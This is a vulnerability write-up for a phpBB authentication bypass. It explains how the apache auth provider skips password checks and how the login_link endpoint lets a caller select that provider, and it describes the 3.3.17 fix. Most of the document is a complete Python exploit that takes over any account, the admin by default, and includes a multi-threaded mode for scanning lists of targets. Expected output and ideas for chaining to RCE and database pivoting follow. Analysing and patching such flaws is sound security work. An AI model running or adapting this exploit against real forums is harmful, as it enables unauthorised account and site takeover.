#Summary
CVE-2026-48611 is a critical authentication bypass in phpBB forum software affecting all versions from 3.3.0 through 3.3.16 (and 4.0.0-a2). An unauthenticated attacker can hijack any user's account - including administrators - in a single HTTP request, without knowing the victim's password. The attack requires only network access to a vulnerable phpBB installation. CVSS score is 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Fixed in version 3.3.17 (released 2026-06-06).
#Affected versions
- phpBB 3.3.0 through 3.3.16 (vulnerable)
- phpBB 4.0.0-a2 (vulnerable)
- phpBB 3.3.17+ (patched)
- phpBB 4.0.0-rc1+ (patched)
Default installation with auth_method=db (the standard configuration) is vulnerable when served by a SAPI that populates PHP_AUTH_USER and PHP_AUTH_PW from the HTTP Authorization header - such as Apache with mod_php.
#Root cause analysis
#The two vulnerable components
CVE-2026-48611 arises from the combination of two individually-"correct" components that an attacker can chain together.
Component A: Apache auth provider ignores the password
The phpbb/auth/provider/apache.php::login() method is designed for deployments where Apache itself has already authenticated the user via HTTP Basic auth. It trusts the username in $_SERVER['PHP_AUTH_USER'] without ever validating the password:
public function login($username, $password)
{
if (!$password) { return LOGIN_ERROR_PASSWORD ... }
if (!$username) { return LOGIN_ERROR_USERNAME ... }
if (!$this->request->is_set('PHP_AUTH_USER', request_interface::SERVER)) {
return LOGIN_ERROR_EXTERNAL_AUTH ...
}
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw))
{
if ($php_auth_user !== $username) { return LOGIN_ERROR_USERNAME ... }
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$row = $this->db->sql_fetchrow($this->db->sql_query($sql));
if ($row)
{
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return LOGIN_ERROR_ACTIVE ...
}
// Password is never compared. user_password is fetched but never used.
return array('status' => LOGIN_SUCCESS, 'error_msg' => false, 'user_row' => $row);
}
...
}
...
}The user_password field is fetched from the database but never compared. This is by design - the apache provider assumes a trusted proxy (Apache itself) has already performed authentication.
Component B: Arbitrary auth provider selection
The OAuth "link account" flow in phpBB/includes/ucp/ucp_login_link.php::main() allows the attacker to select which auth provider to use:
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));
...
$login_result = $auth_provider->login($login_username, $login_password);There is no restriction that auth_provider must be an OAuth provider - it accepts any provider name, including apache. A single dummy login_link_* GET parameter (e.g. login_link_x=1) satisfies the "has necessary data" guard.
#How the exploit chains them
An unauthenticated client sends:
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1
Authorization: Basic base64(<victim_username>:<any-non-empty-password>)
Content-Type: application/x-www-form-urlencoded
login=Login&login_username=<victim_username>&login_password=<any-non-empty>- PHP automatically parses the
Authorization: Basicheader and populates$_SERVER['PHP_AUTH_USER']and$_SERVER['PHP_AUTH_PW']. - Component B (
ucp_login_link) routes the request to theapacheprovider becauseauth_provider=apache. - Component A (
apache.php::login()) receives the attacker-controlled username/password. - It checks only: header-username == submitted-username, both fields non-empty, and account exists and is active.
- It returns
LOGIN_SUCCESS- phpBB establishes a real session as the victim. - The attacker has impersonated the "trusted Apache proxy" that the apache provider blindly trusts.
#Patch diff
#What the fix does
phpBB 3.3.17 deleted the entire includes/ucp/ucp_login_link.php file (264 lines removed). OAuth login-linking was refactored into a dedicated controller (phpbb/ucp/controller/oauth.php) that is wired specifically to the OAuth flow. This removes the attacker's ability to select an arbitrary auth provider.
The apache provider's login() method itself was not changed - it still doesn't validate passwords by design. However, it is now unreachable from the login-link endpoint when the site is configured with database authentication.
Fix commit: 4a2962b - "[ticket/17659] Move login linking for oauth to controller"
Before (vulnerable): any auth provider can be invoked via the login-link endpoint After (patched): only the OAuth controller handles the OAuth login-linking flow
The interim workaround (for sites unable to immediately upgrade): block requests to ucp.php?mode=login_link at the web-server level, or strip inbound Authorization headers.
#Proof of concept
#exploit.py - phpBB Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-48611 — phpBB login_link authentication bypass / account takeover
Affected: phpBB 3.3.0 <= 3.3.16 (and 4.0.0-a2); fixed in 3.3.17
Type: Authentication bypass (missing password check on an attacker-selectable auth provider)
Root cause:
* phpbb/auth/provider/apache.php::login() trusts $_SERVER['PHP_AUTH_USER'] and
NEVER compares the supplied password against the stored hash (by design — it
assumes a trusted Apache Basic-auth front end already authenticated the user).
* includes/ucp/ucp_login_link.php::main() picks the auth provider from the
attacker-controlled GET param `auth_provider`, so an unauthenticated client can
route its login through the password-free `apache` provider even on a default
(auth_method=db) install.
The bypass: send `auth_provider=apache`, an `Authorization: Basic <victim>:<any>`
header (PHP populates PHP_AUTH_USER/PHP_AUTH_PW from it), and POST
`login_username=<victim>` — phpBB establishes a real session as the victim without
knowing the password. Targeting the admin yields ACP access.
Usage:
python exploit.py --host <target>
python exploit.py --host 192.168.1.10 --port 80 --username admin
python exploit.py --host https://forum.corp.com/ --username admin
python exploit.py --host http://10.0.0.5:8091 --username someuser --password whatever
python exploit.py --list targets.txt --workers 20
Success (auth bypass): a real phpBB session cookie set is returned —
phpbb3_<hash>_sid=<...> + phpbb3_<hash>_u=<victim_user_id != 1 (anonymous)> —
and reusing those cookies on index.php shows the authenticated (logged-in) state;
for an admin target the board exposes the Administration Control Panel link.
"""
import argparse
import base64
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages import urllib3 # type: ignore
urllib3.disable_warnings()
except ImportError:
print("[!] This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-48611"
VULN_TYPE = "Auth bypass / account takeover"
DEFAULT_PORT = 80
DEFAULT_PATH = "/"
# phpBB binds each session to the client User-Agent (session_browser). Every request
# in the hijack — the login_link POST and the confirming index.php GET — MUST reuse the
# same UA or phpBB invalidates the session and serves an anonymous page.
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36"
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core logic
# --------------------------------------------------------------------------- #
def _new_session():
s = requests.Session()
s.headers.update({"User-Agent": USER_AGENT}) # pin UA for the whole session
return s
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else f"{host}:{port}"
base = f"{scheme}://{netloc}"
path = (path or "/").rstrip("/")
return base + path
def _sid_cookie(session) -> str:
for c in session.cookies:
if c.name.endswith("_sid"):
return c.value or ""
return ""
def _uid_cookie(session) -> str:
# phpbb3_<hash>_u — the logged-in user_id (1 == anonymous). Distinguish from _sid/_k.
for c in session.cookies:
if c.name.endswith("_u") and not c.name.endswith("_sid"):
return c.value or ""
return ""
def _attempt_bypass(session, base_url: str, username: str, password: str, timeout: float = 15.0):
"""
Perform the login_link → apache-provider bypass. Returns the POST response.
Populates `session.cookies` with any phpBB session cookies the server sets.
"""
url = base_url + "/ucp.php"
params = {
"mode": "login_link",
"auth_provider": "apache", # <-- attacker-selected, password-free provider
"login_link_x": "1", # <-- satisfies the "has necessary data" check
}
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
headers = {
# PHP sets PHP_AUTH_USER / PHP_AUTH_PW from this; apache.php trusts them blindly.
"Authorization": "Basic " + creds,
"Content-Type": "application/x-www-form-urlencoded",
# User-Agent comes from the session (pinned) so the confirming GET matches.
}
data = {
"login": "Login",
"login_username": username, # must equal the Basic-auth username
"login_password": password, # non-empty but never validated
}
return session.post(url, params=params, headers=headers, data=data,
allow_redirects=False, timeout=timeout, verify=False)
def _confirm_session(session, base_url: str, username: str, timeout: float = 15.0):
"""
Reuse the harvested cookies against index.php to confirm the authenticated
state (network-observable proof). Returns (is_authed, is_admin, body_snippet).
"""
r = session.get(base_url + "/index.php", allow_redirects=True,
timeout=timeout, verify=False)
body = r.text or ""
low = body.lower()
# phpBB renders a logout control and the username when a real session exists.
authed = ("mode=logout" in low) or ("logout" in low and username.lower() in low)
is_admin = ("adm/index." in low) or ("administration control panel" in low) or ("acp_" in low)
# keep a compact, human-readable snippet
snippet_lines = []
for kw in ("logout", "Administration Control Panel", "adm/index."):
idx = body.find(kw)
if idx == -1:
idx = low.find(kw.lower())
if idx != -1:
snippet_lines.append(body[max(0, idx - 40):idx + 60].replace("\n", " ").strip())
return authed, is_admin, " | ".join(snippet_lines[:3])
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
username: str = "admin", password: str = "x", **_):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
base_url = _base_url(host, port, use_tls, path)
try:
s = _new_session()
r = _attempt_bypass(s, base_url, username, password)
uid = _uid_cookie(s)
sid = _sid_cookie(s)
if sid and uid and uid not in ("1", ""):
authed, is_admin, _snip = _confirm_session(s, base_url, username)
role = "admin/ACP" if is_admin else "user"
tag = "" if authed else " (cookie set; index.php unconfirmed)"
return True, f"session hijacked as '{username}' ({role}, user_id={uid}){tag}"
# patched builds 301 to the new OAuth controller; anonymous session stays u=1
loc = r.headers.get("Location", "")
if "oauth" in loc.lower() or r.status_code in (301, 404):
return False, "blocked — login_link no longer routes to apache provider (patched)"
return False, f"no session (u={uid or '1'}, status={r.status_code}) — patched or not Apache+mod_php"
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e: # noqa: BLE001
return False, f"error ({e.__class__.__name__})"
# --------------------------------------------------------------------------- #
# Target parsing + batch scan
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = DEFAULT_PATH):
"""Parse one target line into (host, port, use_tls, path). None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
username: str = "admin", password: str = "x") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} — Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls = t[:3]
path = t[3] if len(t) > 3 else DEFAULT_PATH
label = _base_url(host, port, use_tls, path)
ok, evidence = _try_exploit(host, port, use_tls, path, username, password)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} — {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, username: str, password: str) -> None:
header(host, port)
base_url = _base_url(host, port, use_tls, path)
s = _new_session()
step(1, f"Sending login_link bypass to {base_url}/ucp.php (auth_provider=apache, victim='{username}')")
try:
r = _attempt_bypass(s, base_url, username, password)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
return
cookie_dump = {c.name: c.value for c in s.cookies}
section("POST RESPONSE",
f"status: {r.status_code}\n"
f"location: {r.headers.get('Location')}\n"
f"session cookies: {cookie_dump}")
uid = _uid_cookie(s)
sid = _sid_cookie(s)
step(2, f"Inspecting session cookies (need phpbb3_*_sid + phpbb3_*_u != 1)")
if not (sid and uid and uid not in ("1", "")):
loc = r.headers.get("Location", "")
if "oauth" in loc.lower() or r.status_code == 301:
section("PATCH INDICATOR",
f"Server redirected login_link to the OAuth controller ({loc}) "
f"and left the session anonymous (u={uid or '1'}).")
section("SERVER RESPONSE (body head)", r.text[:600])
done(False, f"no victim session established (u={uid or '1'}, status={r.status_code}) — "
f"target patched (>=3.3.17) or not Apache+mod_php")
return
section("HIJACKED SESSION",
f"phpbb3_*_sid = {sid}\n"
f"phpbb3_*_u = {uid} (victim user_id, != 1 anonymous)")
step(3, "Reusing the session cookies against /index.php to confirm authenticated state")
try:
authed, is_admin, snippet = _confirm_session(s, base_url, username)
except requests.exceptions.RequestException as e:
# Cookie evidence alone is already network-observable proof of bypass.
section("NOTE", f"Could not fetch index.php for corroboration: {e.__class__.__name__}")
done(True, f"Authenticated as '{username}' without credentials — "
f"real phpBB session (user_id={uid}, sid={sid[:8]}...)")
return
section("AUTHENTICATED PAGE MARKERS",
f"logged-in state detected: {authed}\n"
f"admin / ACP access: {is_admin}\n"
f"evidence snippet: {snippet or '(markers matched in body)'}")
role = "ADMIN (ACP access)" if is_admin else "user"
done(True, f"Auth bypass confirmed — authenticated as '{username}' [{role}] without the "
f"password (user_id={uid}, sid={sid[:8]}...)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} — phpBB login_link auth bypass PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://forum.com/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
parser.add_argument("--username", default="admin",
help="Victim account to take over — must exist and be active (default: admin)")
parser.add_argument("--password", default="x",
help="Any NON-EMPTY password; never validated by the apache provider (default: x)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, password=args.password)
else:
parsed = _parse_target(args.host, args.port)
if parsed:
host, port, use_tls, path = parsed
else:
host, port, use_tls, path = args.host, args.port, False, DEFAULT_PATH
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.password)#Usage
# Single target - exploit the admin account
python3 exploit.py --host 127.0.0.1:8091 --username admin
# Scan a target list
python3 exploit.py --list targets.txt --workers 20 --username admin
# Full URL with path
python3 exploit.py --host https://forum.example.com/community/ --username admin#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-48611
Type: Auth bypass / account takeover | Target: 127.0.0.1:8091
============================================================
[STEP 1] Sending login_link bypass to http://127.0.0.1:8091/ucp.php (auth_provider=apache, victim='admin')
--- POST RESPONSE ---
status: 302
location: http://localhost:8091/index.php?sid=99f544c0861519aa3f8be7d532976c15
session cookies: {'phpbb3_oldyg_u': '2', 'phpbb3_oldyg_sid': '99f544c0861519aa3f8be7d532976c15'}
--- HIJACKED SESSION ---
phpbb3_*_sid = 99f544c0861519aa3f8be7d532976c15
phpbb3_*_u = 2 (victim user_id, != 1 anonymous)
[STEP 3] Reusing the session cookies against /index.php to confirm authenticated state
--- AUTHENTICATED PAGE MARKERS ---
logged-in state detected: True
admin / ACP access: True
============================================================
RESULT : SUCCESS
EVIDENCE: Auth bypass confirmed — authenticated as 'admin' [ADMIN (ACP access)] without the password
============================================================#Expected output (patched target)
--- POST RESPONSE ---
status: 301
location: /app.php/user/oauth/link_account?mode=login_link&auth_provider=apache&login_link_x=1&sid=...
session cookies: {'phpbb3_tr35c_u': '1', 'phpbb3_tr35c_sid': '...'}
--- PATCH INDICATOR ---
Server redirected login_link to the OAuth controller and left the session anonymous (u=1).
============================================================
RESULT : FAILURE
EVIDENCE: no victim session established (u=1, status=301) — target patched (>=3.3.17) or not Apache+mod_php
============================================================#Exploitation notes
#Preconditions
- Server SAPI: The target must serve phpBB via a PHP SAPI that populates
PHP_AUTH_USER/PHP_AUTH_PWfrom the HTTPAuthorizationheader. Apache with mod_php does this automatically. Plain PHP-FPM + nginx does NOT unless explicitly configured. - Vulnerable version: phpBB 3.3.0 through 3.3.16 (or 4.0.0-a2).
- Target account: Must exist and be in an active state (
user_typenotUSER_INACTIVEorUSER_IGNORE). - Username match: The Basic-auth username in the header must exactly match the POST
login_usernameparameter. - Non-empty password: Both the Basic-auth password and the POST password must be non-empty (any value works).
#Reliability
The exploit is 100% reliable against vulnerable Apache + mod_php deployments. The protocol is deterministic - there is no race condition or timing dependency. Success is confirmed through network-observable evidence only: the presence of a real phpbb3_*_sid cookie paired with a non-anonymous phpbb3_*_u value.
#Impact
- Full account takeover of any active user, including administrators.
- Administrative access to the Administration Control Panel if targeting an admin account.
- Session hijack - the attacker possesses a valid session cookie that phpBB accepts as authenticated.
- No password required - the attacker never needs to know or crack the victim's password.
#Chaining potential
Once an admin account is compromised:
- The attacker can create new admin accounts.
- Upload malicious extensions or modify forum themes to inject code.
- Access to the database credentials stored in
config.phpenables pivot to the database server. - Potential for RCE through PHP code execution in forum templates or extensions.
#References
- CVE: CVE-2026-48611
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48611
- phpBB GitHub: https://github.com/phpbb/phpbb
- Fix commit:
4a2962b- "[ticket/17659] Move login linking for oauth to controller" - Vendor advisory: https://www.phpbb.com/community/viewtopic.php?t=2672170
- Interim workaround: https://www.phpbb.com/community/viewtopic.php?t=2672425
- Technical writeup (Pentest-Tools): https://pentest-tools.com/research/phpbb-authentication-bypass
- Technical writeup (Aikido.dev): https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup